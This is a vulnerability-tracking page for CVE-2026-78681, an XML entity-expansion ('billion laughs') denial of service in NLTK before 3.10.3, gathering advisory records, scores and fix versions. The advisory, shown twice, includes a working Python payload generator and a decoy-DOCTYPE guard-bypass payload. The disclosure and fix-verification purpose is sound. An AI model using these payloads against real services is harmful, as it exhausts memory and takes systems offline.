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CVE-2026-78681

NLTK before 3.10.3 Entity Expansion DoS via ElementTree

8.7 HighFix available

NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.52%Up 0.2 points since Aug 25, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.7

NLTK before 3.10.3 Entity Expansion DoS via ElementTree

NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.

Record
CVE-2026-78681
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-776
Updated
2026-11-02
EUVDEUVD-2026-65227 8.7

NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.

Record
EUVD-2026-65227
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-97qj-x29f-37w7 8.7

NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses

Several XML parsing sites in NLTK still used xml.etree.ElementTree directly, which honours <!ENTITY> declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.

Affected call sites (<= 3.10.2):

  • nltk.chunk.named_entity.load_ace_file — parses ACE annotation XML
  • nltk.internals.ElementWrapper — converts any given string to an Element
  • nltk.downloader — Package.fromxml, Collection.fromxml, _find_collections, _find_packages

libexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.

This completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new nltk.xmlsec module that refuses entity declarations, preferring defusedxml and falling back to a standard-library xml.parsers.expat pre-scan when defusedxml is absent.


Attack demonstration

Reproducible PoC against a real affected entry point (nltk.internals.ElementWrapper). Every number below is captured output, not illustrative.

1. The amplification (vulnerable path: raw xml.etree.ElementTree)

A payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:

| levels | input bytes | expanded bytes | factor | |--------|-------------|----------------|--------| | 3 | 218 | 10,000 | x45 | | 4 | 274 | 100,000 | x364 | | 5 | 330 | 1,000,000 | x3,030 | | 6 | 386 | (libexpat 2.7.1 cap trips) | - |

The level-6 cap is libexpat's, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.

import xml.etree.ElementTree as ET
def bomb(levels):
    d = "\n".join(f'<!ENTITY e{i} "{("&e%d;"%(i-1))*10}">' for i in range(1, levels+1))
    return f'<!DOCTYPE d [<!ENTITY e0 "AAAAAAAAAA">{d}]><d>&e{levels};</d>'
ET.fromstring(bomb(5))   # -> element whose .text is 1,000,000 chars

2. The patched entry point rejects it

>>> from nltk.internals import ElementWrapper
>>> ElementWrapper(bomb(5))
EntitiesForbidden: EntitiesForbidden(name='e0', ...)

3. Why a text-based screen is not enough

An entity declaration can hide behind a decoy <!DOCTYPE> in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:

evil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a "PPPP...">]><d>&a;</d>'
raw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars)
nltk.xmlsec     -> REJECTED (EntitiesForbidden)

An earlier draft of the fallback that walked the text was bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray ] inside a PI in the internal subset). All five are now regression tests.

4. Both back ends block it

nltk.xmlsec prefers defusedxml and falls back to a stdlib xml.parsers.expat pre-scan. Same payloads, defusedxml hidden to force the fallback:

stdlib fallback | billion-laughs               -> REJECTED (EntitiesForbidden)
stdlib fallback | comment-decoy differential   -> REJECTED (EntitiesForbidden)

Environment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).

Record
GHSA-97qj-x29f-37w7
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-776
Updated
2026-11-02
GitHub AdvisoriesGHSA-jx89-3qg8-p2mr 8.7

Duplicate Advisory: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses (CWE-776)

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-97qj-x29f-37w7. This link is maintained to preserve external references.

Original Description

NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.

Record
GHSA-jx89-3qg8-p2mr
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-776
Updated
2026-11-02
NVD 8.7

NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.

Record
CVE-2026-78681
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-776
Updated
2026-11-02
OSV 8.7

NLTK before 3.10.3 Entity Expansion DoS via ElementTree

NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.

Record
CVE-2026-78681
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-776
Updated
2026-11-02
Show 5 moreShow less
OSVDEBIAN-CVE-2026-78681 8.7

NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.

Record
DEBIAN-CVE-2026-78681
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVGHSA-97qj-x29f-37w7 8.7

NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses

Several XML parsing sites in NLTK still used xml.etree.ElementTree directly, which honours <!ENTITY> declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.

Affected call sites (<= 3.10.2):

  • nltk.chunk.named_entity.load_ace_file — parses ACE annotation XML
  • nltk.internals.ElementWrapper — converts any given string to an Element
  • nltk.downloader — Package.fromxml, Collection.fromxml, _find_collections, _find_packages

libexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.

This completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new nltk.xmlsec module that refuses entity declarations, preferring defusedxml and falling back to a standard-library xml.parsers.expat pre-scan when defusedxml is absent.


Attack demonstration

Reproducible PoC against a real affected entry point (nltk.internals.ElementWrapper). Every number below is captured output, not illustrative.

1. The amplification (vulnerable path: raw xml.etree.ElementTree)

A payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:

| levels | input bytes | expanded bytes | factor | |--------|-------------|----------------|--------| | 3 | 218 | 10,000 | x45 | | 4 | 274 | 100,000 | x364 | | 5 | 330 | 1,000,000 | x3,030 | | 6 | 386 | (libexpat 2.7.1 cap trips) | - |

The level-6 cap is libexpat's, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.

import xml.etree.ElementTree as ET
def bomb(levels):
    d = "\n".join(f'<!ENTITY e{i} "{("&e%d;"%(i-1))*10}">' for i in range(1, levels+1))
    return f'<!DOCTYPE d [<!ENTITY e0 "AAAAAAAAAA">{d}]><d>&e{levels};</d>'
ET.fromstring(bomb(5))   # -> element whose .text is 1,000,000 chars

2. The patched entry point rejects it

>>> from nltk.internals import ElementWrapper
>>> ElementWrapper(bomb(5))
EntitiesForbidden: EntitiesForbidden(name='e0', ...)

3. Why a text-based screen is not enough

An entity declaration can hide behind a decoy <!DOCTYPE> in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:

evil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a "PPPP...">]><d>&a;</d>'
raw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars)
nltk.xmlsec     -> REJECTED (EntitiesForbidden)

An earlier draft of the fallback that walked the text was bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray ] inside a PI in the internal subset). All five are now regression tests.

4. Both back ends block it

nltk.xmlsec prefers defusedxml and falls back to a stdlib xml.parsers.expat pre-scan. Same payloads, defusedxml hidden to force the fallback:

stdlib fallback | billion-laughs               -> REJECTED (EntitiesForbidden)
stdlib fallback | comment-decoy differential   -> REJECTED (EntitiesForbidden)

Environment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).

Record
GHSA-97qj-x29f-37w7
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-776
Updated
2026-11-02
OSVGHSA-jx89-3qg8-p2mr 8.7

Duplicate Advisory: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses (CWE-776)

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-97qj-x29f-37w7. This link is maintained to preserve external references.

Original Description

NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.

Record
GHSA-jx89-3qg8-p2mr
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-776
Updated
2026-11-02
OSVPYSEC-2026-3748 8.7

NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.

Record
PYSEC-2026-3748
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVMGASA-2026-0340 No score

Updated python-nltk packages fix security vulnerabilities

Updated packages fix security vulnerabilities. Please see the links.

Record
MGASA-2026-0340
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
nltk
PyPI
through 3.10.2
3.10.3
nltk
Debian:12
All versions, plus listed versions
3.10.0-13.10.1-13.10.3-13.8-13.8.1-1
Show 4 moreShow less
3.9.1-13.9.1-23.9.2-13.9.3-1
None known
nltk
Debian:13
All versions, plus listed versions
3.10.0-13.10.1-13.10.3-13.9.1-23.9.2-13.9.3-1
None known
nltk
Debian:14
before 3.10.3-1, plus listed versions
3.10.0-13.10.1-13.9.1-23.9.2-13.9.3-1
3.10.3-1
nltk
PyPI
before 3.10.3, plus listed versions
0.80.90.9.30.9.40.9.5
Show 45 moreShow less
0.9.60.9.70.9.80.9.92.0.12.0.1rc12.0.1rc2-git2.0.1rc32.0.1rc42.0.22.0.32.0.42.0.52.0b42.0b52.0b62.0b72.0b82.0b93.0.03.0.0b13.0.0b23.0.13.0.23.0.33.0.43.0.53.13.10.03.10.13.10.23.23.2.13.2.23.2.33.2.43.2.53.33.43.4.13.4.23.4.33.4.43.4.53.5
3.10.3
python-nltk
Mageia:10
From an advisory covering 18 CVEs
before 3.10.3-1.mga10
3.10.3-1.mga10
python-nltk
Mageia:9
From an advisory covering 18 CVEs
before 3.10.3-1.mga9
3.10.3-1.mga9

History

History
RecordedChangedSources
affected, facts
affected
affected, aliases, published, referencesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-78681 is a high vulnerability (CVSS 8.7) in Nltk, published August 25, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.52%, the 44th percentile. Fixed in nltk 3.10.3.

References

Show 8 moreShow less
This page doesn't list everything

Left out here: 18 versions. The JSON record has them.

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